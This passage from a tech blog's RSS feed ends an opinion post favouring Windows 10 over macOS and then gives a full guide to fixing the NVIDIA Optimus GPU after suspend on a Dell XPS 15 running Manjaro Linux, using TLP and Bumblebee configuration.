<p>And Amazon - a retail store - successfully launched the best infrastructure in the world and became synonymous with &ldquo;Cloud&rdquo; and Microsoft was still struggling to understand what Linux was.</p>
<p>Failure after failure, instead of defending their low position, they finally decided to step up and move forward one step at a time. Refine. Evolve. Sustain.</p>
<p>Now, Windows 10 recaptured the aura of XP at its best. It&rsquo;s doing incremental, and solid upgrades. First the Anniversary Edition, then the Creators Update and finally the most recent Fall Creators Update. All solid upgrades.</p>
<p>The Surface line-up is going strong as the best reference for industrial design and features on desktops, notebooks, and accessories. Seriously, Apple still sells that terrible slippery, difficult to hold, <a href="https://www.apple.com/shop/product/MLA02LL/A/magic-mouse-2"target="_blank" rel="noopener">Magic Mouse 2</a>, but the &ldquo;magic&rdquo; is that someone actually buys those. Microsoft has the <a href="http://amzn.to/2ztHZVv"target="_blank" rel="noopener">Arc Touch</a> and the <a href="http://amzn.to/2zu8p9o"target="_blank" rel="noopener">Precision Mouse</a>, two of the best ever made.</p>
<p>Creative professionals, software developers, we all jumped ship in droves to OS X when it was the &ldquo;Different Thing&rdquo; on the &ldquo;Think Different&rdquo; campaign. We helped evangelize. We helped build tools. We helped build services. We wrote tons of <a href="http://www.akitaonrails.com/2012/04/20/off-topic-comprei-meu-primeiro-mac-e-agora-edicao-2012"target="_blank" rel="noopener">blog posts</a> and documentation to help out.</p>
<p>Steve Jobs died, and Apple died with him. They basically did nothing new ever since, and their once successful products were left to decay and die. The only thing left is the halo effect, the inertia, and their ever-growing hunger for milking the same cow indefinitely, while ditching R&amp;D altogether.</p>
<h2>Apple doesn&rsquo;t care. Why should I?<span class="hx:absolute hx:-mt-20" id="apple-doesnt-care-why-should-i"></span>
    <a href="#apple-doesnt-care-why-should-i" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Microsoft played smart, they kept fixing and evolving, year after year. They lost the 90s generation. They recaptured the 2010s generation. And they started early, getting their attention from the Xbox all the way to Windows.</p>
<p>Seriously, the XBox Dashboard is better than the PS4&rsquo;s. I highly prefer it.</p>
<p>And they are now in a good position. The players are inverted in the game. The &ldquo;Think Different&rdquo; now refers to Windows 10 and the PC hardware. Intel is playing conservative. NVIDIA builds the best GPUs. There are many great options not available on the Mac.</p>
<p>The jump from 32-bits to 64-bits and the necessities of the XBox even helped Microsoft rethink how to isolate and package their software. Even though the Windows Store is still a bad joke at this point.</p>
<p>And Bill Gates was dead right in the mid-90s: the browser would render the Windows monopoly obsolete. And it did. On the bright side, you have the very same Chrome and Firefox browsers available on OS X, Windows 10, and any Linux distro. This means instant access to most of what people need: Gmail, Google Docs, Office 365, Dropbox, LastPass, Spotify, Slack, Discord, Twitter, Netflix, HBO, Hulu, etc.</p>
<p>I hate Javascript-based desktop wrappers like the plague. Electron is dumb heavy. But, what can I do? At least powerful hardware and RAM come cheap these days, and we can afford browser tabs that eat up 100 MB each.</p>
<p>The browser is the new OS for the majority of people. Heck, most people can get around using Chromebooks! Everything else is on the phones, not the desktop. So hard tools are needed. Soft tools you already carry in your pocket.</p>
<p>The Apple ecosystem is not dead yet. Apple still has time to fix this situation. I&rsquo;ve been waiting for the past 3 years, but still zero signs of anything getting better. My very first switching article was <a href="http://www.akitaonrails.com/en/2015/11/10/situacao-brasil-no-macs-for-the-rest-of-us"target="_blank" rel="noopener">published on Nov 10, 2015</a>.</p>
<p>Unlike other &ldquo;switching&rdquo; articles, I am not saying this lightly. I have switched already, in the past 2 years.</p>
<p>As I say in many of my posts and talks about events: I am not defined by my tools. I don&rsquo;t carry banners. I am not loyal to anyone by default. I was never paid by Apple to defend it. And I am not paid by Microsoft to say good things about them. I just analyze the facts and state the best course of action going forward.</p>
<p>And the facts tell me that macOS is no more. It was a good ride. Goodbye to the Mac and thanks for all the fish.</p>
]]></content:encoded><category>apple</category><category>microsoft</category><category>hardware</category></item><item><title>Enabling Optimus NVIDIA GPU on the Dell XPS 15 with Linux, even on Battery</title><link>https://www.akitaonrails.com/en/2017/03/14/enabling-optimus-nvidia-gpu-on-the-dell-xps-15-with-linux-even-on-battery/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2017/03/14/enabling-optimus-nvidia-gpu-on-the-dell-xps-15-with-linux-even-on-battery/</guid><pubDate>Tue, 14 Mar 2017 14:21:00 -0300</pubDate><description>&lt;p&gt;It&amp;rsquo;s been more than a month since my &lt;a href="http://www.akitaonrails.com/en/2017/01/31/do-macbook-pro-para-o-dell-xps-arch-linux-para-usuarios-criativos"target="_blank" rel="noopener"&gt;last post&lt;/a&gt; on tuning Manjaro for the Dell XPS 15.&lt;/p&gt;
&lt;p&gt;Manjaro released its newest release &lt;a href="https://manjaro.org/2017/03/07/manjaro-gnome-17-0-released/"target="_blank" rel="noopener"&gt;version 17&lt;/a&gt; and the kernel released 4.10. The upgrade from Manjaro 16 and kernel 4.9 went smoothly.&lt;/p&gt;
&lt;p&gt;These are the currently installed, kernel specific packages:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;$ pacman -Ss 410 | grep installed
core/linux410 4.10.1-1 [installed]
core/linux410-headers 4.10.1-1 [installed]
extra/linux410-acpi_call 1.1.0-0.7 (linux410-extramodules) [installed]
extra/linux410-bbswitch 0.8-0.7 (linux410-extramodules) [installed]
extra/linux410-ndiswrapper 1.61-0.7 (linux410-extramodules) [installed]
extra/linux410-nvidia 1:375.39-0.7 (linux410-extramodules) [installed]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And to make sure everything is ok, I removed the old 4.9 related packages:&lt;/p&gt;</description><content:encoded><![CDATA[<p>It&rsquo;s been more than a month since my <a href="http://www.akitaonrails.com/en/2017/01/31/do-macbook-pro-para-o-dell-xps-arch-linux-para-usuarios-criativos"target="_blank" rel="noopener">last post</a> on tuning Manjaro for the Dell XPS 15.</p>
<p>Manjaro released its newest release <a href="https://manjaro.org/2017/03/07/manjaro-gnome-17-0-released/"target="_blank" rel="noopener">version 17</a> and the kernel released 4.10. The upgrade from Manjaro 16 and kernel 4.9 went smoothly.</p>
<p>These are the currently installed, kernel specific packages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ pacman -Ss 410 | grep installed
core/linux410 4.10.1-1 [installed]
core/linux410-headers 4.10.1-1 [installed]
extra/linux410-acpi_call 1.1.0-0.7 (linux410-extramodules) [installed]
extra/linux410-bbswitch 0.8-0.7 (linux410-extramodules) [installed]
extra/linux410-ndiswrapper 1.61-0.7 (linux410-extramodules) [installed]
extra/linux410-nvidia 1:375.39-0.7 (linux410-extramodules) [installed]</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And to make sure everything is ok, I removed the old 4.9 related packages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -R linux49 linux49-headers linux49-acpi_call linux49-bbswitch linux49-ndiswrapper linux49-nvidia</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I also upgraded the system BIOS to the <a href="http://dell.to/2mWmWDg"target="_blank" rel="noopener">latest 1.2.19</a> (although many said to stay at 1.2.18 for now, but I didn&rsquo;t downgrade). The BIOS upgrade is quite easy as you just need to have a FAT formatted USB drive and copy the &ldquo;XPS_9550_1.2.19.exe&rdquo; file. On boot, you can press F12 and choose the option to upgrade directly from there.</p>
<p>One thing that stopped working was the function keys to control screen brightness. I wasn&rsquo;t able to tweak it back but I can still control the brightness manually from the Terminal using commands like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>xbacklight -inc 20 # to increment
xbacklight -dec 20 # to decrement</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then, the most annoying part: the NVIDIA Optimus card.</p>
<p>Suspending the OS works flawlessly most of the time. I can just close the lid, open it the next day and the battery stays reasonably at the same level. Kudos to the kernel team for supporting it.</p>
<p>But the power management system turns off the NVIDIA GPU and I can&rsquo;t re-enable it after the machine wakes up, even if I reconnect to a power source. Whenever I try to run something through <code>optirun</code> (which forces the rendering through the NVIDIA GPU instead of the primary integrated Intel GPU) it errors out with this message:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Could not enable discrete graphics card</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And the only way to have it running was to connect the power cord and reboot the machine. Then I could use the NVIDIA GPU normally. Rebooting all the time is not slow (thanks to the fast SSD) but it&rsquo;s still annoying to have to reopen every single application every time.</p>
<p>Finally, after a lot of research, I found out how to be able to have the NVIDIA GPU enabled even on battery and after suspend. First, you need to know the PCI ID for the card:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ lspci | grep &#34;NVIDIA&#34; | cut -b -8
01:00.0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then you need to edit <code>/etc/default/tlp</code> and add that PCI ID to be blacklisted from power management:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Exclude PCI(e) device addresses the following list from Runtime PM
# (separate with spaces). Use lspci to get the addresses (1st column).
#RUNTIME_PM_BLACKLIST=&#34;bb:dd.f 11:22.3 44:55.6&#34;
RUNTIME_PM_BLACKLIST=&#34;01:00.0&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Reboot, and this is it! Now I can run applications through the NVIDIA card even without being connected to the power cord.</p>
<p>It seems that <a href="https://github.com/linrunner/TLP/issues/244"target="_blank" rel="noopener">there is a conflict</a> between TLP and Bumblebee. The solution was listed in <a href="https://www.reddit.com/r/archlinux/comments/5m78zz/bumblebee_nvidia_error_on_optimus_laptop/"target="_blank" rel="noopener">this 2 months old reddit thread</a> and <a href="https://forum.manjaro.org/t/bumblebee-could-not-enable-discrete-graphics-card/16728/12"target="_blank" rel="noopener">this 2 weeks old Manjaro forum thread</a> if you&rsquo;re interested in the discussion around it.</p>
<p>The most difficult part on using NVIDIA on Linux is understanding all the many terminologies around it. I&rsquo;m not even sure that I got it all already.</p>
<p>This is what I figured out so far:</p>
<ul>
<li><a href="https://wiki.archlinux.org/index.php/NVIDIA_Optimus"target="_blank" rel="noopener">Optimus</a> is the hybrid graphics card technology, which enables a low power Intel GPU as the primary card that you can bridge to the secondary, power demanding, NVIDIA GPU, just when you really need it.</li>
<li><code>optirun</code> is the command you use to make this bridge.</li>
<li>&ldquo;NVIDIA&rdquo; is what we call the official proprietary binaries. On Arch it&rsquo;s available on package &ldquo;linux410-nvidia&rdquo;.</li>
<li>&ldquo;Nouveau&rdquo; is the open source driver, it uses Primus to make the bridge instead of <code>optirun</code>. I understand that you should avoid this driver for now if you need full performance and full compliance from the GPU.</li>
<li><a href="https://wiki.archlinux.org/index.php/Bumblebee#Power_management"target="_blank" rel="noopener">&ldquo;Bumblebee&rdquo;</a> is a daemon used to enable and disable the NVIDIA GPU. You don&rsquo;t want it enabled all the time, especially when running on battery, to avoid draining it too fast.</li>
<li><a href="https://github.com/Bumblebee-Project/bbswitch"target="_blank" rel="noopener">&ldquo;bbswitch&rdquo;</a> is the kernel module that does the low level ACPI calls to control the power state of the NVIDIA GPU card.</li>
<li><a href="https://github.com/linrunner/TLP"target="_blank" rel="noopener">&ldquo;TLP&rdquo;</a> is the general Linux power management system, which controls every aspect of the machine&rsquo;s hardware, including the PCI devices (one of which is the NVIDIA card).</li>
</ul>
<p>The way I understand it, you don&rsquo;t want TLP to kick in and shut off the card, because if it does, then Bumblebee can&rsquo;t enable it back on when needed (through bbswitch). So you have to blacklist its PCI device on TLP and let Bumblebee do its job.</p>
<p>If everything is working fine, then the NVIDIA GPU is turned off by default. You can check that it is off through bbswitch:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ cat /proc/acpi/bbswitch
0000:01:00.0 OFF</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now, let&rsquo;s say you want to force something to use the card, so you do it like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ optirun -vv glxgears
[ 1817.200384] [DEBUG]Reading file: /etc/bumblebee/bumblebee.conf
[ 1817.200519] [INFO]Configured driver: nvidia
[ 1817.200579] [DEBUG]optirun version 3.2.1-2017-02-27-Format:%h$ starting...
[ 1817.200584] [DEBUG]Active configuration:
[ 1817.200588] [DEBUG] bumblebeed config file: /etc/bumblebee/bumblebee.conf
[ 1817.200592] [DEBUG] X display: :8
[ 1817.200595] [DEBUG] LD_LIBRARY_PATH: /usr/lib/nvidia:/usr/lib32/nvidia
[ 1817.200599] [DEBUG] Socket path: /var/run/bumblebee.socket
[ 1817.200603] [DEBUG] Accel/display bridge: auto
[ 1817.200607] [DEBUG] VGL Compression: proxy
[ 1817.200611] [DEBUG] VGLrun extra options: 
[ 1817.200615] [DEBUG] Primus LD Path: /usr/lib/primus:/usr/lib32/primus
[ 1817.200645] [DEBUG]Using auto-detected bridge virtualgl
[ 1818.163747] [INFO]Response: Yes. X is active.

[ 1818.163757] [INFO]Running application using virtualgl.
[ 1818.163843] [DEBUG]Process vglrun started, PID 9770.
10419 frames in 5.0 seconds = 2083.766 FPS
10671 frames in 5.0 seconds = 2134.041 FPS</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This will run <code>glxgears</code> (a simple app to test the card) through the Optimus bridge (in verbose mode, which is why you have all this extra information). And if <code>glxgears</code> was able to use the NVIDIA GPU it should report FPS (frames per second) higher than 1,000.</p>
<p>And you can check with <code>bbswitch</code> like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ cat /proc/acpi/bbswitch
0000:01:00.0 ON</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>When you <code>Ctrl-C</code> out of <code>glxgears</code> it should report as <code>OFF</code> again.</p>
<p>Just to make sure, it&rsquo;s important to guarantee that <code>/etc/bumblebee/bumblebee.conf</code> is customized like this (only important keys are shown below):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[bumblebeed]
Driver=nvidia
...
[optirun]
Bridge=auto
...
[driver-nvidia]
KernelDriver=nvidia
PMMethod=bbswitch
...</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So far, the only small issues I still have are these:</p>
<ul>
<li>Function keys don&rsquo;t change screen brightness</li>
<li>Bose bluetooth headset connects flawlessly but won&rsquo;t become primary sound output without manually changing to it under the Sound settings (but hardware function keys for volume and media control all work without problems).</li>
<li>I had to install Manjaro using the old BIOS boot and MBR partition scheme instead of GPT over UEFI. Not sure how to move to GPT/UEFI now (using a LUKS encrypted partition scheme)</li>
</ul>
<p>But after fixing the NVIDIA GPU after a suspend or power disconnect, the other issues are just very minor annoyances.</p>
<p>So far, I am very happy to be using Manjaro over the Dell XPS. I am using a dual monitor setup, and everything is working quite smoothly. If you want to try it out, I recommend you stick to the 9560 (mid 2016 version) Sandy Bridge version, do not go to the new Kaby Lake versions yet as you will find buggy BIOS firmware and many aspects of the hardware won&rsquo;t be properly supported or documented yet.</p>
<p>And if you&rsquo;re new to Arch, I highly recommend you start with Manjaro GNOME. It&rsquo;s by far the best and most usable Linux desktop I&rsquo;ve tried.</p>
]]></content:encoded><category>linux</category><category>hardware</category></item></channel></rss>